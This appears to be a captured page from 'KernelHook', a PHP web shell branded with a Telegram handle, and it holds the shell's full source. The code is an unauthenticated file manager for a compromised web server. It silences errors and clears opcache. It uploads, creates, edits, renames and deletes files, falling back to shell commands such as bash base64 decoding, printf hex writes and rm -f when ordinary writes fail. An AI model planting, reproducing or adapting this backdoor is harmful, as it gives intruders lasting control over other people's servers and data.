KERNELHOOK // SAFE OVERWRITE
TG: @cc8_1
Editing Scroll:
index.php
⬅ Back to Realm Explorer
<?php /** * ------------------------------------------------------------------------- * PROJECT: KernelHook - Safe Overwrite Edition (@cc8_1) * ------------------------------------------------------------------------- */ @ini_set('display_errors', 0); @ini_set('display_startup_errors', 0); error_reporting(0); if (function_exists('opcache_invalidate')) { @opcache_invalidate(__FILE__, true); } $baseDir = __DIR__; $dirParam = isset($_GET['dir']) ? trim($_GET['dir']) : ''; $currentDir = $baseDir; if ($dirParam !== '') { $cleanParam = str_replace(['..', '\\'], ['', '/'], $dirParam); $targetPath = $baseDir . '/' . ltrim($cleanParam, '/'); if (is_dir($targetPath)) { $currentDir = $targetPath; } } $relDir = ($currentDir === $baseDir) ? '' : ltrim(str_replace($baseDir, '', $currentDir), '/'); // ===== دوال مساعدة ===== function procRun($cmd) { if (!function_exists('proc_open')) return ['ret' => -1, 'out' => 'proc_open disabled']; $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $p = @proc_open($cmd, $desc, $pipes); if (!is_resource($p)) return ['ret' => -1, 'out' => 'proc_open failed']; $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $ret = proc_close($p); return ['ret' => $ret, 'out' => trim($out . "\n" . $err)]; } function popenRun($cmd) { if (!function_exists('popen')) return ['ret' => -1, 'out' => 'popen disabled']; $p = @popen($cmd . ' 2>&1', 'r'); if (!$p) return ['ret' => -1, 'out' => 'popen failed']; $out = ''; while (!feof($p)) { $out .= fgets($p); } $ret = pclose($p); return ['ret' => $ret, 'out' => trim($out)]; } function writeFileForce($fullPath, $content) { $diag = []; $encoded = base64_encode($content); // 1) proc_open + bash + base64 decode via redirect $cmd = 'bash -c ' . escapeshellarg('echo ' . escapeshellarg($encoded) . ' | base64 -d > ' . escapeshellarg($fullPath)); $r = procRun($cmd); clearstatcache(true, $fullPath); if (file_exists($fullPath) && @file_get_contents($fullPath) === $content) { return ['ok' => true, 'method' => 'bash base64', 'diag' => $diag]; } $diag[] = 'bash base64: ret=' . $r['ret'] . ' out=' . $r['out']; // 2) popen + bash + base64 decode via redirect $r = popenRun($cmd); clearstatcache(true, $fullPath); if (file_exists($fullPath) && @file_get_contents($fullPath) === $content) { return ['ok' => true, 'method' => 'popen base64', 'diag' => $diag]; } $diag[] = 'popen base64: ret=' . $r['ret'] . ' out=' . $r['out']; // 3) proc_open + sh + printf hex $hexContent = ''; for ($i = 0; $i < strlen($content); $i++) { $hexContent .= '\\x' . bin2hex($content[$i]); } $cmd2 = 'sh -c ' . escapeshellarg('printf ' . escapeshellarg($hexContent) . ' > ' . escapeshellarg($fullPath)); $r = procRun($cmd2); clearstatcache(true, $fullPath); if (file_exists($fullPath) && @file_get_contents($fullPath) === $content) { return ['ok' => true, 'method' => 'sh printf hex', 'diag' => $diag]; } $diag[] = 'sh printf hex: ret=' . $r['ret'] . ' out=' . $r['out']; // 4) touch ثم file_put_contents @touch($fullPath); clearstatcache(true, $fullPath); $wb = @file_put_contents($fullPath, $content, LOCK_EX); clearstatcache(true, $fullPath); if ($wb !== false && @file_get_contents($fullPath) === $content) { return ['ok' => true, 'method' => 'touch + write', 'diag' => $diag]; } // 5) file_put_contents مباشر $wb = @file_put_contents($fullPath, $content, LOCK_EX); clearstatcache(true, $fullPath); if ($wb !== false && @file_get_contents($fullPath) === $content) { return ['ok' => true, 'method' => 'direct', 'diag' => $diag]; } return ['ok' => false, 'method' => '', 'diag' => $diag]; } // --- Handle Save Edit --- $editMessage = ''; $isEditMode = false; $editFilePath = ''; $editFileName = ''; $editFileContent = ''; if (isset($_GET['edit'])) { $editParam = str_replace(['..', '\\'], ['', '/'], $_GET['edit']); $fullFilePath = $baseDir . '/' . ltrim($editParam, '/'); if (file_exists($fullFilePath) && is_file($fullFilePath)) { $isEditMode = true; $editFilePath = $editParam; $editFileName = basename($fullFilePath); $editFileContent = @file_get_contents($fullFilePath); } } if ($isEditMode && isset($_POST['action']) && $_POST['action'] === 'save_file_content') { $target = str_replace(['..', '\\'], ['', '/'], $_POST['target_path'] ?? ''); $fullPath = $baseDir . '/' . ltrim($target, '/'); $content = $_POST['file_content'] ?? ''; if (!file_exists($fullPath) || !is_file($fullPath)) { $editMessage = '<div class="alert alert-error">❌ الملف غير موجود</div>'; } else { $result = writeFileForce($fullPath, $content); if ($result['ok']) { @chmod($fullPath, 0644); if (function_exists('opcache_invalidate')) @opcache_invalidate($fullPath, true); $editFileContent = $content; $editMessage = '<div class="alert alert-success">✅ تم الحفظ (طريقة: ' . htmlspecialchars($result['method']) . ')</div>'; } else { $editMessage = '<div class="alert alert-error">' . '❌ فشل الحفظ.<br><br><strong>تشخيص:</strong><br>' . implode('<br>', array_map('htmlspecialchars', $result['diag'])) . '</div>'; } } } // --- AJAX Create File Handler --- if (isset($_POST['ajax_action']) && $_POST['ajax_action'] === 'create_file') { @header('Content-Type: application/json; charset=utf-8'); $fileName = trim($_POST['new_file_name'] ?? ''); $encoded = $_POST['file_content_b64'] ?? ''; $content = base64_decode($encoded); if (!empty($fileName)) { $safeName = basename($fileName); $targetFilePath = rtrim($currentDir, '/') . '/' . $safeName; $result = writeFileForce($targetFilePath, $content); if ($result['ok']) { @chmod($targetFilePath, 0644); echo json_encode(['status' => 'success', 'method' => $result['method']]); exit; } echo json_encode(['status' => 'error', 'message' => 'Failed: ' . implode(' | ', $result['diag'])]); exit; } echo json_encode(['status' => 'error', 'message' => 'Empty file name.']); exit; } // --- Handle Chunk Upload --- if (isset($_POST['action']) && $_POST['action'] === 'upload_chunk') { @header('Content-Type: application/json; charset=utf-8'); $targetRelDir = $_POST['target_dir'] ?? ''; $chunkData = base64_decode($_POST['chunkData'] ?? ''); $chunkIndex = intval($_POST['chunkIndex'] ?? 0); $totalChunks = intval($_POST['totalChunks'] ?? 0); $realName = basename($_POST['realName'] ?? 'unnamed'); $targetFolder = $baseDir . ($targetRelDir ? '/' . $targetRelDir : ''); $tempDir = $targetFolder . '/.chunks_temp'; if (!file_exists($tempDir)) @mkdir($tempDir, 0777, true); $chunkFile = $tempDir . '/' . md5($realName) . '.part.' . $chunkIndex; $chunkWrite = writeFileForce($chunkFile, $chunkData); if ($chunkWrite['ok']) { $allPresent = true; for ($i = 0; $i < $totalChunks; $i++) { if (!file_exists($tempDir . '/' . md5($realName) . '.part.' . $i)) { $allPresent = false; break; } } if ($allPresent) { $finalFilePath = $targetFolder . '/' . $realName; $finalData = ''; for ($i = 0; $i < $totalChunks; $i++) { $partPath = $tempDir . '/' . md5($realName) . '.part.' . $i; $finalData .= @file_get_contents($partPath); @unlink($partPath); } $finalWrite = writeFileForce($finalFilePath, $finalData); @rmdir($tempDir); if ($finalWrite['ok']) { @chmod($finalFilePath, 0644); echo json_encode(['status' => 'complete', 'method' => $finalWrite['method']]); exit; } echo json_encode(['status' => 'error', 'message' => 'Final write failed: ' . implode(' | ', $finalWrite['diag'])]); exit; } echo json_encode(['status' => 'success']); exit; } echo json_encode(['status' => 'error', 'message' => 'Chunk write failed: ' . implode(' | ', $chunkWrite['diag'])]); exit; } // --- Handle Deletion --- if (isset($_POST['action']) && $_POST['action'] === 'delete') { $target = str_replace(['..', '\\'], ['', '/'], $_POST['target_path'] ?? ''); $fullPath = $baseDir . '/' . ltrim($target, '/'); if ($fullPath !== $baseDir && file_exists($fullPath)) { @chmod($fullPath, 0777); if (is_file($fullPath)) { if (!@unlink($fullPath)) popenRun('rm -f ' . escapeshellarg($fullPath)); } elseif (is_dir($fullPath)) { @rmdir($fullPath); } } header("Location: ?dir=" . urlencode($relDir)); exit; } // --- Handle Rename --- if (isset($_POST['action']) && $_POST['action'] === 'rename') { $target = str_replace(['..', '\\'], ['', '/'], $_POST['target_path'] ?? ''); $newName = trim($_POST['new_name'] ?? ''); $fullPath = $baseDir . '/' . ltrim($target, '/'); if (file_exists($fullPath) && !empty($newName)) { $dirName = dirname($fullPath); $newPath = $dirName . '/' . basename($newName); if (file_exists($newPath)) @unlink($newPath); @rename($fullPath, $newPath); @chmod($newPath, 0644); } header("Location: ?dir=" . urlencode($relDir)); exit; } function getPermissionsInfo($path) { $perms = @fileperms($path); if ($perms === false) return ['octal' => '0000', 'writable' => false]; return ['octal' => substr(sprintf('%o', $perms), -4), 'writable' => is_writable($path)]; } $currentDirWritable = is_writable($currentDir); $items = []; if (!$isEditMode) { if ($handle = @opendir($currentDir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != ".." && $entry != ".chunks_temp") { $fullPath = $currentDir . '/' . $entry; $entryRelPath = ($relDir === '') ? $entry : $relDir . '/' . $entry; $items[] = [ 'name' => $entry, 'path' => $entryRelPath, 'is_dir' => is_dir($fullPath), 'size' => is_file($fullPath) ? @filesize($fullPath) : 0, 'time' => @filemtime($fullPath), 'perms' => getPermissionsInfo($fullPath) ]; } } closedir($handle); } usort($items, function($a, $b) { if ($a['is_dir'] == $b['is_dir']) return strcasecmp($a['name'], $b['name']); return $a['is_dir'] ? -1 : 1; }); } $parentRel = ''; if ($relDir !== '') { $lastSlash = strrpos($relDir, '/'); if ($lastSlash !== false) $parentRel = substr($relDir, 0, $lastSlash); } $canGoBack = ($relDir !== ''); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>KernelHook // Safe Overwrite Edition (@cc8_1)</title> <style> body { background: #050505; color: #d1d5db; font-family: 'Courier New', Courier, monospace; margin: 0; padding: 20px; direction: ltr; text-align: left; } .container { max-width: 1000px; margin: auto; background: #0a0a0c; padding: 25px; border-radius: 6px; border: 1px solid #3b0707; box-shadow: 0 0 30px rgba(139, 0, 0, 0.3); } h2 { border-bottom: 2px solid #550000; padding-bottom: 10px; margin-top: 0; display: flex; justify-content: space-between; align-items: center; color: #ef4444; text-shadow: 0 0 8px rgba(239, 68, 68, 0.6); letter-spacing: 2px; } .signature { font-size: 12px; color: #fca5a5; background: #1a0505; padding: 4px 8px; border-radius: 4px; border: 1px solid #7f1d1d; } .upload-section { background: #0f0505; padding: 20px; border-radius: 4px; margin-bottom: 20px; border: 2px dashed #7f1d1d; text-align: center; } progress { width: 100%; height: 18px; margin-top: 10px; accent-color: #dc2626; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } th, td { padding: 12px; text-align: left; border-bottom: 1px solid #1f1f23; } th { background: #180303; color: #fca5a5; border-bottom: 2px solid #7f1d1d; } tr:hover { background: rgba(127, 29, 29, 0.1); } .btn { padding: 6px 12px; border-radius: 2px; border: 1px solid transparent; cursor: pointer; font-weight: bold; text-decoration: none; display: inline-block; font-size: 13px; font-family: 'Courier New', Courier, monospace; } .btn-edit { background: #064e3b; color: #6ee7b7; border-color: #047857; } .btn-edit:hover { background: #047857; color: #fff; } .btn-rename { background: #78350f; color: #fde68a; border-color: #b45309; } .btn-rename:hover { background: #b45309; color: #fff; } .btn-create { background: #022c22; color: #34d399; border-color: #059669; } .btn-create:hover { background: #059669; color: #fff; } .btn-delete { background: #450a0a; color: #fca5a5; border-color: #991b1b; } .btn-delete:hover { background: #991b1b; color: #fff; } .btn-upload { background: #7f1d1d; color: #fee2e2; margin-top: 10px; border-color: #b91c1c; } .btn-upload:hover { background: #b91c1c; } .btn-dir { background: #1e1b4b; color: #c7d2fe; border-color: #312e81; } .perm-badge { padding: 3px 8px; border-radius: 4px; font-size: 11px; font-weight: bold; font-family: monospace; display: inline-block; } .perm-writable { background: rgba(16, 185, 129, 0.2); color: #34d399; border: 1px solid #059669; } .perm-readonly { background: rgba(239, 68, 68, 0.2); color: #f87171; border: 1px solid #b91c1c; } .path-info { background: #080303; padding: 12px; border-radius: 4px; font-size: 13px; color: #f87171; border: 1px solid #581c87; margin-bottom: 15px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; } .marquee-container { background: #120303; border: 1px solid #7f1d1d; border-radius: 4px; overflow: hidden; padding: 8px 0; margin-top: 20px; color: #f87171; font-weight: bold; } #renameModal, #createModal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.85); justify-content: center; align-items: center; z-index: 9999; } .modal-content { background: #0d0606; padding: 20px; border-radius: 6px; border: 1px solid #dc2626; width: 80%; max-height: 80vh; display: flex; flex-direction: column; box-shadow: 0 0 40px rgba(220, 38, 38, 0.4); } .rename-box { width: 400px; } textarea, input[type="text"] { width: 100%; background: #030303; color: #f87171; border: 1px solid #7f1d1d; padding: 10px; font-family: monospace; border-radius: 2px; box-sizing: border-box; } textarea { height: 400px; resize: vertical; } .modal-buttons { margin-top: 10px; display: flex; justify-content: flex-end; gap: 10px; } input[type="file"] { color: #fca5a5; } .alert { padding: 10px; border-radius: 4px; margin-bottom: 15px; font-weight: bold; } .alert-success { background: rgba(16, 185, 129, 0.2); color: #34d399; border: 1px solid #059669; } .alert-error { background: rgba(239, 68, 68, 0.2); color: #f87171; border: 1px solid #b91c1c; } </style> </head> <body> <div class="container"> <h2> <span>KERNELHOOK // SAFE OVERWRITE</span> <span class="signature">TG: @cc8_1</span> </h2> <?php if ($isEditMode): ?> <div class="path-info"> <span><strong>Editing Scroll:</strong> <?php echo htmlspecialchars($editFileName); ?></span> <a href="?" class="btn btn-dir">⬅ Back to Realm Explorer</a> </div> <?php echo $editMessage; ?> <form method="POST" action="?edit=<?php echo urlencode($editFilePath); ?>"> <input type="hidden" name="action" value="save_file_content"> <input type="hidden" name="target_path" value="<?php echo htmlspecialchars($editFilePath); ?>"> <textarea name="file_content"><?php echo htmlspecialchars($editFileContent); ?></textarea> <div style="margin-top: 15px; display: flex; justify-content: flex-end; gap: 10px;"> <a href="?" class="btn btn-delete">Discard & Return</a> <button type="submit" class="btn btn-edit">Seal Pact (Save Changes)</button> </div> </form> <?php else: ?> <div class="path-info"> <span style="word-break: break-all;"> <strong>Current Realm:</strong> <?php echo htmlspecialchars($currentDir); ?> <?php if($currentDirWritable): ?> <span class="perm-badge perm-writable" style="margin-left: 8px;">🟢 WRITABLE</span> <?php else: ?> <span class="perm-badge perm-readonly" style="margin-left: 8px;">🔴 READ-ONLY</span> <?php endif; ?> </span> <?php if ($canGoBack): ?> <a href="?dir=<?php echo urlencode($parentRel); ?>" class="btn btn-dir">🩸 Ascend (Back)</a> <?php endif; ?> </div> <div class="upload-section"> <h3>Offer a Sacrifice (Upload Chunked)</h3> <input type="file" id="fileInput"><br> <button class="btn btn-upload" onclick="startChunkUpload()">Banish to Realm</button> <progress id="uploadProgress" value="0" max="100" style="display:none;"></progress> <p id="uploadStatus" style="color: #fca5a5;"></p> </div> <div style="margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center;"> <h3 style="margin: 0; color: #fca5a5;">Souls & Tombs in This Realm</h3> <button class="btn btn-create" onclick="openCreateModal()">+ Summon New File</button> </div> <table> <thead> <tr> <th>Entity Name</th> <th>Nature</th> <th>Permissions</th> <th>Size</th> <th>Last Corrupted</th> <th>Dark Arts</th> </tr> </thead> <tbody> <?php if(empty($items)): ?> <tr><td colspan="6" style="text-align: center; color: #7f1d1d;">The abyss is completely empty... for now.</td></tr> <?php else: foreach($items as $item): ?> <tr> <td> <?php if($item['is_dir']): ?> 💀 <a href="?dir=<?php echo urlencode($item['path']); ?>" style="color: #f87171; text-decoration: none; font-weight: bold;"><?php echo htmlspecialchars($item['name']); ?></a> <?php else: ?> 📜 <span style="color: #e5e7eb;"><?php echo htmlspecialchars($item['name']); ?></span> <?php endif; ?> </td> <td><?php echo $item['is_dir'] ? 'Crypt' : 'Scroll'; ?></td> <td> <?php if($item['perms']['writable']): ?> <span class="perm-badge perm-writable">🟢 <?php echo $item['perms']['octal']; ?></span> <?php else: ?> <span class="perm-badge perm-readonly">🔴 <?php echo $item['perms']['octal']; ?></span> <?php endif; ?> </td> <td><?php echo $item['is_dir'] ? '-' : round($item['size'] / 1024, 2) . ' KB'; ?></td> <td><?php echo $item['time'] ? date('Y-m-d H:i:s', $item['time']) : '-'; ?></td> <td> <?php if(!$item['is_dir']): ?> <?php $ext = pathinfo($item['name'], PATHINFO_EXTENSION); $editableExts = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'csv', 'htaccess']; if(in_array(strtolower($ext), $editableExts)): ?> <a href="?edit=<?php echo urlencode($item['path']); ?>" class="btn btn-edit">Edit</a> <?php endif; ?> <?php endif; ?> <button class="btn btn-rename" onclick="openRename('<?php echo htmlspecialchars($item['path'], ENT_QUOTES); ?>', '<?php echo htmlspecialchars($item['name'], ENT_QUOTES); ?>')">Rename</button> <form method="POST" action="?dir=<?php echo urlencode($relDir); ?>" style="display:inline;" onsubmit="return confirm('Condemn this entity to oblivion?');"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target_path" value="<?php echo htmlspecialchars($item['path']); ?>"> <button type="submit" class="btn btn-delete">Delete</button> </form> </td> </tr> <?php endforeach; endif; ?> </tbody> </table> <?php endif; ?> <div class="marquee-container"> <marquee behavior="scroll" direction="left" scrollamount="5"> ⚡ KERNELHOOK SAFE OVERWRITE • DEVELOPED BY TELEGRAM: @cc8_1 • ALL PATHS SECURED ⚡ </marquee> </div> </div> <!-- Rename Modal --> <div id="renameModal"> <div class="modal-content rename-box"> <h3 style="color: #ef4444; margin-top:0;">Rename Entity</h3> <form method="POST" action="?dir=<?php echo urlencode($relDir); ?>"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="target_path" id="renameTargetPath"> <input type="text" name="new_name" id="renameInput" autocomplete="off" style="margin-bottom: 15px;"> <div class="modal-buttons"> <button type="button" class="btn btn-delete" onclick="closeRename()">Cancel</button> <button type="submit" class="btn btn-rename">Apply Rename</button> </div> </form> </div> </div> <!-- Create File Modal --> <div id="createModal"> <div class="modal-content"> <h3 style="color: #34d399; margin-top:0;">Summon New File</h3> <label style="color: #34d399; font-size: 13px; display: block; margin-top: 5px;">File Name (e.g. index.php):</label> <input type="text" id="newFileNameInput" autocomplete="off" style="margin-bottom: 15px;"> <label style="color: #34d399; font-size: 13px; display: block; margin-top: 5px;">Initial Content (Optional):</label> <textarea id="newFileContentInput" placeholder="Write initial code or text here..."></textarea> <div class="modal-buttons"> <button type="button" class="btn btn-delete" onclick="closeCreateModal()">Cancel</button> <button type="button" class="btn btn-create" onclick="createNewFileAction()">Summon File</button> </div> </div> </div> <script> function bufferToBase64(buffer) { let binary = ''; let bytes = new Uint8Array(buffer); let len = bytes.byteLength; for (let i = 0; i < len; i++) { binary += String.fromCharCode(bytes[i]); } return window.btoa(binary); } function stringToBase64(str) { return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) { return String.fromCharCode('0x' + p1); })); } async function createNewFileAction() { const fileName = document.getElementById('newFileNameInput').value; const rawContent = document.getElementById('newFileContentInput').value; if (!fileName) { alert('Please enter a file name.'); return; } const encodedContent = stringToBase64(rawContent); const formData = new URLSearchParams(); formData.append('ajax_action', 'create_file'); formData.append('new_file_name', fileName); formData.append('file_content_b64', encodedContent); try { let response = await fetch(window.location.href, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' }, body: formData.toString() }); let responseText = await response.text(); let result; try { result = JSON.parse(responseText); } catch(e) { alert('Server non-JSON:\n\n' + responseText.substring(0, 300)); return; } if (result.status === 'success') { alert('File summoned! (' + (result.method || '') + ')'); location.reload(); } else { alert('Error: ' + result.message); } } catch(err) { alert('Fetch Error: ' + err); } } async function startChunkUpload() { const fileInput = document.getElementById('fileInput'); if (fileInput.files.length === 0) { alert('Choose a file first!'); return; } const file = fileInput.files[0]; const chunkSize = 512 * 1024; const totalChunks = Math.ceil(file.size / chunkSize); const progressBar = document.getElementById('uploadProgress'); const statusText = document.getElementById('uploadStatus'); progressBar.style.display = 'block'; progressBar.value = 0; const currentRelDir = "<?php echo $relDir; ?>"; for (let chunkIndex = 0; chunkIndex < totalChunks; chunkIndex++) { let start = chunkIndex * chunkSize; let end = Math.min(start + chunkSize, file.size); let chunk = file.slice(start, end); try { let arrayBuffer = await chunk.arrayBuffer(); let base64Chunk = bufferToBase64(arrayBuffer); let formData = new URLSearchParams(); formData.append('action', 'upload_chunk'); formData.append('target_dir', currentRelDir); formData.append('chunkData', base64Chunk); formData.append('chunkIndex', chunkIndex); formData.append('totalChunks', totalChunks); formData.append('realName', file.name); statusText.innerText = `Uploading ${chunkIndex + 1}/${totalChunks}...`; let response = await fetch('?dir=' + encodeURIComponent(currentRelDir), { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' }, body: formData.toString() }); let result = await response.json(); if(result.status === 'error') { statusText.innerText = 'Error: ' + (result.message || 'Failed'); break; } progressBar.value = ((chunkIndex + 1) / totalChunks) * 100; if (chunkIndex === totalChunks - 1 && result.status === 'complete') { statusText.innerText = 'Upload complete!'; setTimeout(() => location.reload(), 1000); } } catch (error) { statusText.innerText = 'Upload disrupted!'; console.error(error); break; } } } function openRename(filePath, fileName) { document.getElementById('renameTargetPath').value = filePath; document.getElementById('renameInput').value = fileName; document.getElementById('renameModal').style.display = 'flex'; } function closeRename() { document.getElementById('renameModal').style.display = 'none'; } function openCreateModal() { document.getElementById('createModal').style.display = 'flex'; } function closeCreateModal() { document.getElementById('createModal').style.display = 'none'; } </script> </body> </html>
Discard & Return
Seal Pact (Save Changes)
⚡ KERNELHOOK SAFE OVERWRITE • DEVELOPED BY TELEGRAM: @cc8_1 • ALL PATHS SECURED ⚡
Rename Entity
Cancel
Apply Rename
Summon New File
File Name (e.g. index.php):
Initial Content (Optional):
Cancel
Summon File